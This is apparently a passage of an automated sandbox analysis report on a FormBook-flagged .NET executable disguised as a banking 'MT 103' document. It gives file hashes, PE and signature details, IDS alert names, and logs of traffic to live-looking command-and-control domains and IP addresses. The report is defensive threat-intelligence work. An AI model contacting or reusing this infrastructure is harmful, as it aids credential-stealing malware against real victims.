                                                                                                                                                                                  Preview:1,"fusion","GAC",0..1,"WinRT","NotApp",1..2,"System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089",0..3,"System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System\920e3d1d70447c3c10e69e6df0766568\System.ni.dll",0..2,"System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a",0..3,"System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Core\8b2c1203fd20aea8260bfbc518004720\System.Core.ni.dll",0..3,"System.Configuration, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Configuration\2192b0d5aa4aa14486ae08118d3b9fcc\System.Configuration.ni.dll",0..3,"System.Xml, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Xml\2062ed810929ec0e33254c02

                                                                                                                                                                                  C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

                                                                                                                                                                                  Download File
                                                                                                                                                                                  Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                  File Type:data
                                                                                                                                                                                  Category:dropped
                                                                                                                                                                                  Size (bytes):1172
                                                                                                                                                                                  Entropy (8bit):5.357042452875322
                                                                                                                                                                                  Encrypted:false
                                                                                                                                                                                  SSDEEP:24:3sWSKco4KmZjKbmOIKod6lss4RPQoUP7mZ9t7J0gt/NKIl9ia8Hu:8WSU4xympgv4RIoUP7mZ9tK8NDT
                                                                                                                                                                                  MD5:06816BCD7ADF62525649463CEF76ECE1
                                                                                                                                                                                  SHA1:7F732D7BA4D889D39F48AD06020A4AF4462FBD97
                                                                                                                                                                                  SHA-256:2E1618380D5C1A22FF7F071685D6FE33800FB1748B4E62DCCBCFA1D025AB13B8
                                                                                                                                                                                  SHA-512:97D0E9633530CD40BEF0D5790AEFB4B7860FE1F5413FFDC68A68AB78FE8297ADCDA8ED9C8F909BBC1E6385853EA53043483BE79C3030159C34712B9C74EE1FD2
                                                                                                                                                                                  Malicious:false
                                                                                                                                                                                  Reputation:low
                                                                                                                                                                                  Preview:@...e................................................@..........P................1]...E...........(.Microsoft.PowerShell.Commands.ManagementH...............o..b~.D.poM......... .Microsoft.PowerShell.ConsoleHost0......................C.l]..7.s........System..4....................D...{..|f........System.Core.D...............4..7..D.#V.............System.Management.Automation<...............i..VdqF...|...........System.Configuration4.................%...K... ...........System.Xml..4.....................@.[8]'.\........System.Data.<................t.,.lG....M...........System.Management...@................z.U..G...5.f.1........System.DirectoryServicesL.................*gQ?O.....x5.......#.Microsoft.Management.Infrastructure.8..................1...L..U;V.<}........System.Numerics.H................WY..2.M.&..g*(g........Microsoft.PowerShell.Security...<...............V.}...@...i...........System.Transactions.P...............8..{...@.e..."4.......%.Microsoft.PowerShell.Com

                                                                                                                                                                                  C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_iixbdcve.5it.ps1

                                                                                                                                                                                  Download File
                                                                                                                                                                                  Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                  File Type:ASCII text, with no line terminators
                                                                                                                                                                                  Category:dropped
                                                                                                                                                                                  Size (bytes):60
                                                                                                                                                                                  Entropy (8bit):4.038920595031593
                                                                                                                                                                                  Encrypted:false
                                                                                                                                                                                  SSDEEP:3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
                                                                                                                                                                                  MD5:D17FE0A3F47BE24A6453E9EF58C94641
                                                                                                                                                                                  SHA1:6AB83620379FC69F80C0242105DDFFD7D98D5D9D
                                                                                                                                                                                  SHA-256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
                                                                                                                                                                                  SHA-512:5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
                                                                                                                                                                                  Malicious:false
                                                                                                                                                                                  Preview:# PowerShell test file to determine AppLocker lockdown mode

                                                                                                                                                                                  C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_jlg4i3j0.fxr.psm1

                                                                                                                                                                                  Download File
                                                                                                                                                                                  Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                  File Type:ASCII text, with no line terminators
                                                                                                                                                                                  Category:dropped
                                                                                                                                                                                  Size (bytes):60
                                                                                                                                                                                  Entropy (8bit):4.038920595031593
                                                                                                                                                                                  Encrypted:false
                                                                                                                                                                                  SSDEEP:3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
                                                                                                                                                                                  MD5:D17FE0A3F47BE24A6453E9EF58C94641
                                                                                                                                                                                  SHA1:6AB83620379FC69F80C0242105DDFFD7D98D5D9D
                                                                                                                                                                                  SHA-256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
                                                                                                                                                                                  SHA-512:5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
                                                                                                                                                                                  Malicious:false
                                                                                                                                                                                  Preview:# PowerShell test file to determine AppLocker lockdown mode

                                                                                                                                                                                  C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_otlnruqk.dpz.psm1

                                                                                                                                                                                  Download File
                                                                                                                                                                                  Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                  File Type:ASCII text, with no line terminators
                                                                                                                                                                                  Category:dropped
                                                                                                                                                                                  Size (bytes):60
                                                                                                                                                                                  Entropy (8bit):4.038920595031593
                                                                                                                                                                                  Encrypted:false
                                                                                                                                                                                  SSDEEP:3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
                                                                                                                                                                                  MD5:D17FE0A3F47BE24A6453E9EF58C94641
                                                                                                                                                                                  SHA1:6AB83620379FC69F80C0242105DDFFD7D98D5D9D
                                                                                                                                                                                  SHA-256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
                                                                                                                                                                                  SHA-512:5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
                                                                                                                                                                                  Malicious:false
                                                                                                                                                                                  Preview:# PowerShell test file to determine AppLocker lockdown mode

                                                                                                                                                                                  C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_wchrwihv.1ac.ps1

                                                                                                                                                                                  Download File
                                                                                                                                                                                  Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                  File Type:ASCII text, with no line terminators
                                                                                                                                                                                  Category:dropped
                                                                                                                                                                                  Size (bytes):60
                                                                                                                                                                                  Entropy (8bit):4.038920595031593
                                                                                                                                                                                  Encrypted:false
                                                                                                                                                                                  SSDEEP:3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
                                                                                                                                                                                  MD5:D17FE0A3F47BE24A6453E9EF58C94641
                                                                                                                                                                                  SHA1:6AB83620379FC69F80C0242105DDFFD7D98D5D9D
                                                                                                                                                                                  SHA-256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
                                                                                                                                                                                  SHA-512:5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
                                                                                                                                                                                  Malicious:false
                                                                                                                                                                                  Preview:# PowerShell test file to determine AppLocker lockdown mode

                                                                                                                                                                                  Static File Info

                                                                                                                                                                                  General

                                                                                                                                                                                  File type:PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
                                                                                                                                                                                  Entropy (8bit):7.704657024148249
                                                                                                                                                                                  TrID:
                                                                                                                                                                                  • Win32 Executable (generic) Net Framework (10011505/4) 49.98%
                                                                                                                                                                                  • Win32 Executable (generic) a (10002005/4) 49.93%
                                                                                                                                                                                  • Windows Screen Saver (13104/52) 0.07%
                                                                                                                                                                                  • Generic Win/DOS Executable (2004/3) 0.01%
                                                                                                                                                                                  • DOS Executable Generic (2002/1) 0.01%
                                                                                                                                                                                  File name:hbwebdownload - MT 103.exe
                                                                                                                                                                                  File size:676'872 bytes
                                                                                                                                                                                  MD5:42d6700f5272596c025308992d4fea37
                                                                                                                                                                                  SHA1:09db89002aa3793dfbf04ace1f62eeef11086415
                                                                                                                                                                                  SHA256:3e26ebdfbd46dadcbf46c199970362689fa6ca0e0abb65ec703ca21d08b7269f
                                                                                                                                                                                  SHA512:e8175443f45089dc9977ff570b3214921f2a49fd9e097fca6a87494021a7a24eaff75ff497367d7ca3c675cffb321e6c9f98b3a62cbac820fca4ec73b1792e6d
                                                                                                                                                                                  SSDEEP:12288:h54hoC7N+VZp1YFtATOWVVT+dcL/BeUO3kR:27yZAUdVT+dcdOi
                                                                                                                                                                                  TLSH:60E4D0C03F35730ADE695A31C62ADDB992B52D68B010B9E25EDD3B9B79DC211AD0CF01
                                                                                                                                                                                  File Content Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L.....................0..............3... ...@....@.. ....................................@................................

                                                                                                                                                                                  File Icon

                                                                                                                                                                                  Icon Hash:00928e8e8686b000

                                                                                                                                                                                  Static PE Info

                                                                                                                                                                                  General

                                                                                                                                                                                  Entrypoint:0x4a33a2
                                                                                                                                                                                  Entrypoint Section:.text
                                                                                                                                                                                  Digitally signed:true
                                                                                                                                                                                  Imagebase:0x400000
                                                                                                                                                                                  Subsystem:windows gui
                                                                                                                                                                                  Image File Characteristics:EXECUTABLE_IMAGE, 32BIT_MACHINE
                                                                                                                                                                                  DLL Characteristics:DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE
                                                                                                                                                                                  Time Stamp:0x91EFFE8B [Sat Aug 3 05:56:27 2047 UTC]
                                                                                                                                                                                  TLS Callbacks:
                                                                                                                                                                                  CLR (.Net) Version:
                                                                                                                                                                                  OS Version Major:4
                                                                                                                                                                                  OS Version Minor:0
                                                                                                                                                                                  File Version Major:4
                                                                                                                                                                                  File Version Minor:0
                                                                                                                                                                                  Subsystem Version Major:4
                                                                                                                                                                                  Subsystem Version Minor:0
                                                                                                                                                                                  Import Hash:f34d5f2d4577ed6d9ceec516c1f5a744

                                                                                                                                                                                  Authenticode Signature

                                                                                                                                                                                  Signature Valid:false
                                                                                                                                                                                  Signature Issuer:CN=COMODO RSA Code Signing CA, O=COMODO CA Limited, L=Salford, S=Greater Manchester, C=GB
                                                                                                                                                                                  Signature Validation Error:The digital signature of the object did not verify
                                                                                                                                                                                  Error Number:-2146869232
                                                                                                                                                                                  Not Before, Not After
                                                                                                                                                                                  • 13/11/2018 01:00:00 09/11/2021 00:59:59
                                                                                                                                                                                  Subject Chain
                                                                                                                                                                                  • CN=Simon Tatham, O=Simon Tatham, L=Cambridge, S=Cambridgeshire, C=GB
                                                                                                                                                                                  Version:3
                                                                                                                                                                                  Thumbprint MD5:DABD77E44EF6B3BB91740FA46696B779
                                                                                                                                                                                  Thumbprint SHA-1:5B9E273CF11941FD8C6BE3F038C4797BBE884268
                                                                                                                                                                                  Thumbprint SHA-256:4CD3325617EBB63319BA6E8F2A74B0B8CCA58920B48D8026EBCA2C756630D570
                                                                                                                                                                                  Serial:7C1118CBBADC95DA3752C46E47A27438

                                                                                                                                                                                  Entrypoint Preview

                                                                                                                                                                                  Instruction
                                                                                                                                                                                  jmp dword ptr [00402000h]
                                                                                                                                                                                  add byte ptr [eax], al
                                                                                                                                                                                  add byte ptr [eax], al
                                                                                                                                                                                  add byte ptr [eax], al
                                                                                                                                                                                  add byte ptr [eax], al
                                                                                                                                                                                  add byte ptr [eax], al
                                                                                                                                                                                  add byte ptr [eax], al
                                                                                                                                                                                  add byte ptr [eax], al
                                                                                                                                                                                  add byte ptr [eax], al
                                                                                                                                                                                  add byte ptr [eax], al
                                                                                                                                                                                  add byte ptr [eax], al
                                                                                                                                                                                  add byte ptr [eax], al
                                                                                                                                                                                  add byte ptr [eax], al
                                                                                                                                                                                  add byte ptr [eax], al
                                                                                                                                                                                  add byte ptr [eax], al
                                                                                                                                                                                  add byte ptr [eax], al
                                                                                                                                                                                  add byte ptr [eax], al
                                                                                                                                                                                  add byte ptr [eax], al
                                                                                                                                                                                  add byte ptr [eax], al
                                                                                                                                                                                  add byte ptr [eax], al
                                                                                                                                                                                  add byte ptr [eax], al
                                                                                                                                                                                  add byte ptr [eax], al
                                                                                                                                                                                  add byte ptr [eax], al
                                                                                                                                                                                  add byte ptr [eax], al
                                                                                                                                                                                  add byte ptr [eax], al
                                                                                                                                                                                  add byte ptr [eax], al
                                                                                                                                                                                  add byte ptr [eax], al
                                                                                                                                                                                  add byte ptr [eax], al
                                                                                                                                                                                  add byte ptr [eax], al
                                                                                                                                                                                  add byte ptr [eax], al
                                                                                                                                                                                  add byte ptr [eax], al
                                                                                                                                                                                  add byte ptr [eax], al
                                                                                                                                                                                  add byte ptr [eax], al
                                                                                                                                                                                  add byte ptr [eax], al
                                                                                                                                                                                  add byte ptr [eax], al
                                                                                                                                                                                  add byte ptr [eax], al
                                                                                                                                                                                  add byte ptr [eax], al
                                                                                                                                                                                  add byte ptr [eax], al
                                                                                                                                                                                  add byte ptr [eax], al
                                                                                                                                                                                  add byte ptr [eax], al
                                                                                                                                                                                  add byte ptr [eax], al
                                                                                                                                                                                  add byte ptr [eax], al
                                                                                                                                                                                  add byte ptr [eax], al
                                                                                                                                                                                  add byte ptr [eax], al
                                                                                                                                                                                  add byte ptr [eax], al
                                                                                                                                                                                  add byte ptr [eax], al
                                                                                                                                                                                  add byte ptr [eax], al
                                                                                                                                                                                  add byte ptr [eax], al
                                                                                                                                                                                  add byte ptr [eax], al
                                                                                                                                                                                  add byte ptr [eax], al
                                                                                                                                                                                  add byte ptr [eax], al
                                                                                                                                                                                  add byte ptr [eax], al
                                                                                                                                                                                  add byte ptr [eax], al
                                                                                                                                                                                  add byte ptr [eax], al
                                                                                                                                                                                  add byte ptr [eax], al
                                                                                                                                                                                  add byte ptr [eax], al
                                                                                                                                                                                  add byte ptr [eax], al
                                                                                                                                                                                  add byte ptr [eax], al
                                                                                                                                                                                  add byte ptr [eax], al
                                                                                                                                                                                  add byte ptr [eax], al
                                                                                                                                                                                  add byte ptr [eax], al
                                                                                                                                                                                  add byte ptr [eax], al
                                                                                                                                                                                  add byte ptr [eax], al
                                                                                                                                                                                  add byte ptr [eax], al
                                                                                                                                                                                  add byte ptr [eax], al
                                                                                                                                                                                  add byte ptr [eax], al
                                                                                                                                                                                  add byte ptr [eax], al
                                                                                                                                                                                  add byte ptr [eax], al
                                                                                                                                                                                  add byte ptr [eax], al
                                                                                                                                                                                  add byte ptr [eax], al
                                                                                                                                                                                  add byte ptr [eax], al
                                                                                                                                                                                  add byte ptr [eax], al
                                                                                                                                                                                  add byte ptr [eax], al
                                                                                                                                                                                  add byte ptr [eax], al
                                                                                                                                                                                  add byte ptr [eax], al
                                                                                                                                                                                  add byte ptr [eax], al
                                                                                                                                                                                  add byte ptr [eax], al
                                                                                                                                                                                  add byte ptr [eax], al
                                                                                                                                                                                  add byte ptr [eax], al
                                                                                                                                                                                  add byte ptr [eax], al
                                                                                                                                                                                  add byte ptr [eax], al
                                                                                                                                                                                  add byte ptr [eax], al
                                                                                                                                                                                  add byte ptr [eax], al
                                                                                                                                                                                  add byte ptr [eax], al
                                                                                                                                                                                  add byte ptr [eax], al
                                                                                                                                                                                  add byte ptr [eax], al
                                                                                                                                                                                  add byte ptr [eax], al
                                                                                                                                                                                  add byte ptr [eax], al
                                                                                                                                                                                  add byte ptr [eax], al
                                                                                                                                                                                  add byte ptr [eax], al
                                                                                                                                                                                  add byte ptr [eax], al
                                                                                                                                                                                  add byte ptr [eax], al
                                                                                                                                                                                  add byte ptr [eax], al
                                                                                                                                                                                  add byte ptr [eax], al
                                                                                                                                                                                  add byte ptr [eax], al
                                                                                                                                                                                  add byte ptr [eax], al
                                                                                                                                                                                  add byte ptr [eax], al
                                                                                                                                                                                  add byte ptr [eax], al

                                                                                                                                                                                  Data Directories

                                                                                                                                                                                  NameVirtual AddressVirtual Size Is in Section
                                                                                                                                                                                  IMAGE_DIRECTORY_ENTRY_EXPORT0x00x0
                                                                                                                                                                                  IMAGE_DIRECTORY_ENTRY_IMPORT0xa334e0x4f.text
                                                                                                                                                                                  IMAGE_DIRECTORY_ENTRY_RESOURCE0xa40000x5d4.rsrc
                                                                                                                                                                                  IMAGE_DIRECTORY_ENTRY_EXCEPTION0x00x0
                                                                                                                                                                                  IMAGE_DIRECTORY_ENTRY_SECURITY0xa1e000x3608
                                                                                                                                                                                  IMAGE_DIRECTORY_ENTRY_BASERELOC0xa60000xc.reloc
                                                                                                                                                                                  IMAGE_DIRECTORY_ENTRY_DEBUG0xa20340x70.text
                                                                                                                                                                                  IMAGE_DIRECTORY_ENTRY_COPYRIGHT0x00x0
                                                                                                                                                                                  IMAGE_DIRECTORY_ENTRY_GLOBALPTR0x00x0
                                                                                                                                                                                  IMAGE_DIRECTORY_ENTRY_TLS0x00x0
                                                                                                                                                                                  IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG0x00x0
                                                                                                                                                                                  IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT0x00x0
                                                                                                                                                                                  IMAGE_DIRECTORY_ENTRY_IAT0x20000x8.text
                                                                                                                                                                                  IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT0x00x0
                                                                                                                                                                                  IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR0x20080x48.text
                                                                                                                                                                                  IMAGE_DIRECTORY_ENTRY_RESERVED0x00x0

                                                                                                                                                                                  Sections

                                                                                                                                                                                  NameVirtual AddressVirtual SizeRaw SizeMD5Xored PEZLIB ComplexityFile TypeEntropyCharacteristics
                                                                                                                                                                                  .text0x20000xa13a80xa1400c607275bdde28d17e918c5b2f2c02798False0.8848943192829457data7.704162970307028IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
                                                                                                                                                                                  .rsrc0xa40000x5d40x600fc98ab758316e2756fb7830bcbcf6e83False0.4388020833333333data4.172932666344551IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
                                                                                                                                                                                  .reloc0xa60000xc0x20012191b9068be7ef9517b26ffb806a3e6False0.044921875data0.10191042566270775IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ

                                                                                                                                                                                  Resources

                                                                                                                                                                                  NameRVASizeTypeLanguageCountryZLIB Complexity
                                                                                                                                                                                  RT_VERSION0xa40900x344data0.44138755980861244
                                                                                                                                                                                  RT_MANIFEST0xa43e40x1eaXML 1.0 document, Unicode text, UTF-8 (with BOM) text, with CRLF line terminators0.5489795918367347

                                                                                                                                                                                  Imports

                                                                                                                                                                                  DLLImport
                                                                                                                                                                                  mscoree.dll_CorExeMain

                                                                                                                                                                                  Network Behavior

                                                                                                                                                                                  Suricata IDS Alerts

                                                                                                                                                                                  TimestampSIDSignatureSeveritySource IPSource PortDest IPDest PortProtocol
                                                                                                                                                                                  2024-10-01T14:47:25.173197+02002031412ET MALWARE FormBook CnC Checkin (GET)1192.168.2.549717185.26.122.7080TCP
                                                                                                                                                                                  2024-10-01T14:47:25.173197+02002031449ET MALWARE FormBook CnC Checkin (GET)1192.168.2.549717185.26.122.7080TCP
                                                                                                                                                                                  2024-10-01T14:47:25.173197+02002031453ET MALWARE FormBook CnC Checkin (GET)1192.168.2.549717185.26.122.7080TCP
                                                                                                                                                                                  2024-10-01T14:48:05.555596+02002031412ET MALWARE FormBook CnC Checkin (GET)1192.168.2.549718188.114.96.380TCP
                                                                                                                                                                                  2024-10-01T14:48:05.555596+02002031449ET MALWARE FormBook CnC Checkin (GET)1192.168.2.549718188.114.96.380TCP
                                                                                                                                                                                  2024-10-01T14:48:05.555596+02002031453ET MALWARE FormBook CnC Checkin (GET)1192.168.2.549718188.114.96.380TCP
                                                                                                                                                                                  2024-10-01T14:49:49.655283+02002031412ET MALWARE FormBook CnC Checkin (GET)1192.168.2.549719103.59.102.5980TCP
                                                                                                                                                                                  2024-10-01T14:49:49.655283+02002031449ET MALWARE FormBook CnC Checkin (GET)1192.168.2.549719103.59.102.5980TCP
                                                                                                                                                                                  2024-10-01T14:49:49.655283+02002031453ET MALWARE FormBook CnC Checkin (GET)1192.168.2.549719103.59.102.5980TCP

                                                                                                                                                                                  Network Port Distribution

                                                                                                                                                                                  TCP Packets

                                                                                                                                                                                  TimestampSource PortDest PortSource IPDest IP
                                                                                                                                                                                  Oct 1, 2024 14:47:24.658610106 CEST4971780192.168.2.5185.26.122.70
                                                                                                                                                                                  Oct 1, 2024 14:47:24.663430929 CEST8049717185.26.122.70192.168.2.5
                                                                                                                                                                                  Oct 1, 2024 14:47:24.663567066 CEST4971780192.168.2.5185.26.122.70
                                                                                                                                                                                  Oct 1, 2024 14:47:24.663567066 CEST4971780192.168.2.5185.26.122.70
                                                                                                                                                                                  Oct 1, 2024 14:47:24.668370008 CEST8049717185.26.122.70192.168.2.5
                                                                                                                                                                                  Oct 1, 2024 14:47:25.167685032 CEST4971780192.168.2.5185.26.122.70
                                                                                                                                                                                  Oct 1, 2024 14:47:25.173119068 CEST8049717185.26.122.70192.168.2.5
                                                                                                                                                                                  Oct 1, 2024 14:47:25.173197031 CEST4971780192.168.2.5185.26.122.70
                                                                                                                                                                                  Oct 1, 2024 14:48:05.070825100 CEST4971880192.168.2.5188.114.96.3
                                                                                                                                                                                  Oct 1, 2024 14:48:05.076159954 CEST8049718188.114.96.3192.168.2.5
                                                                                                                                                                                  Oct 1, 2024 14:48:05.076221943 CEST4971880192.168.2.5188.114.96.3
                                                                                                                                                                                  Oct 1, 2024 14:48:05.076308966 CEST4971880192.168.2.5188.114.96.3
                                                                                                                                                                                  Oct 1, 2024 14:48:05.081396103 CEST8049718188.114.96.3192.168.2.5
                                                                                                                                                                                  Oct 1, 2024 14:48:05.555167913 CEST8049718188.114.96.3192.168.2.5
                                                                                                                                                                                  Oct 1, 2024 14:48:05.555285931 CEST4971880192.168.2.5188.114.96.3
                                                                                                                                                                                  Oct 1, 2024 14:48:05.555545092 CEST8049718188.114.96.3192.168.2.5
                                                                                                                                                                                  Oct 1, 2024 14:48:05.555596113 CEST4971880192.168.2.5188.114.96.3
                                                                                                                                                                                  Oct 1, 2024 14:48:05.560075045 CEST8049718188.114.96.3192.168.2.5

                                                                                                                                                                                  UDP Packets

                                                                                                                                                                                  TimestampSource PortDest PortSource IPDest IP
                                                                                                                                                                                  Oct 1, 2024 14:46:43.496902943 CEST6060053192.168.2.51.1.1.1
                                                                                                                                                                                  Oct 1, 2024 14:46:44.191540003 CEST53606001.1.1.1192.168.2.5
                                                                                                                                                                                  Oct 1, 2024 14:47:04.199191093 CEST5879453192.168.2.51.1.1.1
                                                                                                                                                                                  Oct 1, 2024 14:47:04.209518909 CEST53587941.1.1.1192.168.2.5
                                                                                                                                                                                  Oct 1, 2024 14:47:24.371396065 CEST5175153192.168.2.51.1.1.1
                                                                                                                                                                                  Oct 1, 2024 14:47:24.657854080 CEST53517511.1.1.1192.168.2.5
                                                                                                                                                                                  Oct 1, 2024 14:47:44.624449968 CEST6260153192.168.2.51.1.1.1
                                                                                                                                                                                  Oct 1, 2024 14:47:45.083254099 CEST53626011.1.1.1192.168.2.5
                                                                                                                                                                                  Oct 1, 2024 14:48:05.050028086 CEST5633753192.168.2.51.1.1.1
                                                                                                                                                                                  Oct 1, 2024 14:48:05.070122004 CEST53563371.1.1.1192.168.2.5
                                                                                                                                                                                  Oct 1, 2024 14:48:25.577543020 CEST5308453192.168.2.51.1.1.1
                                                                                                                                                                                  Oct 1, 2024 14:48:25.739841938 CEST53530841.1.1.1192.168.2.5
                                                                                                                                                                                  Oct 1, 2024 14:49:07.027753115 CEST5952053192.168.2.51.1.1.1
                                                                                                                                                                                  Oct 1, 2024 14:49:07.036631107 CEST53595201.1.1.1192.168.2.5
                                                                                                                                                                                  Oct 1, 2024 14:49:27.779608011 CEST5979753192.168.2.51.1.1.1
                                                                                                                                                                                  Oct 1, 2024 14:49:27.868623972 CEST53597971.1.1.1192.168.2.5
                                                                                                                                                                                  Oct 1, 2024 14:49:48.514211893 CEST6181653192.168.2.51.1.1.1
                                                                                                                                                                                  Oct 1, 2024 14:49:49.081510067 CEST53618161.1.1.1192.168.2.5
                                                                                                                                                                                  Oct 1, 2024 14:50:10.027592897 CEST5663553192.168.2.51.1.1.1
                                                                                                                                                                                  Oct 1, 2024 14:50:10.037533998 CEST53566351.1.1.1192.168.2.5
                                                                                                                                                                                  Oct 1, 2024 14:50:31.589884996 CEST5057253192.168.2.51.1.1.1
                                                                                                                                                                                  Oct 1, 2024 14:50:31.599317074 CEST53505721.1.1.1192.168.2.5

                                                                                                                                                                                  DNS Queries

                                                                                                                                                                                  TimestampSource IPDest IPTrans IDOP CodeNameTypeClassDNS over HTTPS
                                                                                                                                                                                  Oct 1, 2024 14:46:43.496902943 CEST192.168.2.51.1.1.10xc8e6Standard query (0)www.est-life-insurance-2507.todayA (IP address)IN (0x0001)false
                                                                                                                                                                                  Oct 1, 2024 14:47:04.199191093 CEST192.168.2.51.1.1.10x681fStandard query (0)www.etangkhap99.lolA (IP address)IN (0x0001)false
                                                                                                                                                                                  Oct 1, 2024 14:47:24.371396065 CEST192.168.2.51.1.1.10xb97aStandard query (0)www.oko.eventsA (IP address)IN (0x0001)false
                                                                                                                                                                                  Oct 1, 2024 14:47:44.624449968 CEST192.168.2.51.1.1.10x66bfStandard query (0)www.orenzoplaybest14.xyzA (IP address)IN (0x0001)false
                                                                                                                                                                                  Oct 1, 2024 14:48:05.050028086 CEST192.168.2.51.1.1.10xc56fStandard query (0)www.j88.travelA (IP address)IN (0x0001)false
                                                                                                                                                                                  Oct 1, 2024 14:48:25.577543020 CEST192.168.2.51.1.1.10x14a6Standard query (0)www.ridges-freezers-56090.bondA (IP address)IN (0x0001)false
                                                                                                                                                                                  Oct 1, 2024 14:49:07.027753115 CEST192.168.2.51.1.1.10x902fStandard query (0)www.vto.streamA (IP address)IN (0x0001)false
                                                                                                                                                                                  Oct 1, 2024 14:49:27.779608011 CEST192.168.2.51.1.1.10xb5d5Standard query (0)www.fbpd.topA (IP address)IN (0x0001)false
                                                                                                                                                                                  Oct 1, 2024 14:49:48.514211893 CEST192.168.2.51.1.1.10xc7fdStandard query (0)www.1385.netA (IP address)IN (0x0001)false
                                                                                                                                                                                  Oct 1, 2024 14:50:10.027592897 CEST192.168.2.51.1.1.10x5393Standard query (0)www.nline-courses-classes-lv-1.bondA (IP address)IN (0x0001)false
                                                                                                                                                                                  Oct 1, 2024 14:50:31.589884996 CEST192.168.2.51.1.1.10xd430Standard query (0)www.ourhealthyourlife.shopA (IP address)IN (0x0001)false

                                                                                                                                                                                  DNS Answers

                                                                                                                                                                                  TimestampSource IPDest IPTrans IDReply CodeNameCNameAddressTypeClassDNS over HTTPS
                                                                                                                                                                                  Oct 1, 2024 14:46:44.191540003 CEST1.1.1.1192.168.2.50xc8e6Name error (3)www.est-life-insurance-2507.todaynonenoneA (IP address)IN (0x0001)false
                                                                                                                                                                                  Oct 1, 2024 14:47:04.209518909 CEST1.1.1.1192.168.2.50x681fName error (3)www.etangkhap99.lolnonenoneA (IP address)IN (0x0001)false
                                                                                                                                                                                  Oct 1, 2024 14:47:24.657854080 CEST1.1.1.1192.168.2.50xb97aNo error (0)www.oko.events185.26.122.70A (IP address)IN (0x0001)false
                                                                                                                                                                                  Oct 1, 2024 14:47:45.083254099 CEST1.1.1.1192.168.2.50x66bfName error (3)www.orenzoplaybest14.xyznonenoneA (IP address)IN (0x0001)false
                                                                                                                                                                                  Oct 1, 2024 14:48:05.070122004 CEST1.1.1.1192.168.2.50xc56fNo error (0)www.j88.travel188.114.96.3A (IP address)IN (0x0001)false
                                                                                                                                                                                  Oct 1, 2024 14:48:05.070122004 CEST1.1.1.1192.168.2.50xc56fNo error (0)www.j88.travel188.114.97.3A (IP address)IN (0x0001)false
                                                                                                                                                                                  Oct 1, 2024 14:48:25.739841938 CEST1.1.1.1192.168.2.50x14a6Name error (3)www.ridges-freezers-56090.bondnonenoneA (IP address)IN (0x0001)false
                                                                                                                                                                                  Oct 1, 2024 14:49:07.036631107 CEST1.1.1.1192.168.2.50x902fName error (3)www.vto.streamnonenoneA (IP address)IN (0x0001)false
                                                                                                                                                                                  Oct 1, 2024 14:49:27.868623972 CEST1.1.1.1192.168.2.50xb5d5Name error (3)www.fbpd.topnonenoneA (IP address)IN (0x0001)false
                                                                                                                                                                                  Oct 1, 2024 14:49:49.081510067 CEST1.1.1.1192.168.2.50xc7fdNo error (0)www.1385.net103.59.102.59A (IP address)IN (0x0001)false
                                                                                                                                                                                  Oct 1, 2024 14:50:10.037533998 CEST1.1.1.1192.168.2.50x5393Name error (3)www.nline-courses-classes-lv-1.bondnonenoneA (IP address)IN (0x0001)false
                                                                                                                                                                                  Oct 1, 2024 14:50:31.599317074 CEST1.1.1.1192.168.2.50xd430Name error (3)www.ourhealthyourlife.shopnonenoneA (IP address)IN (0x0001)false

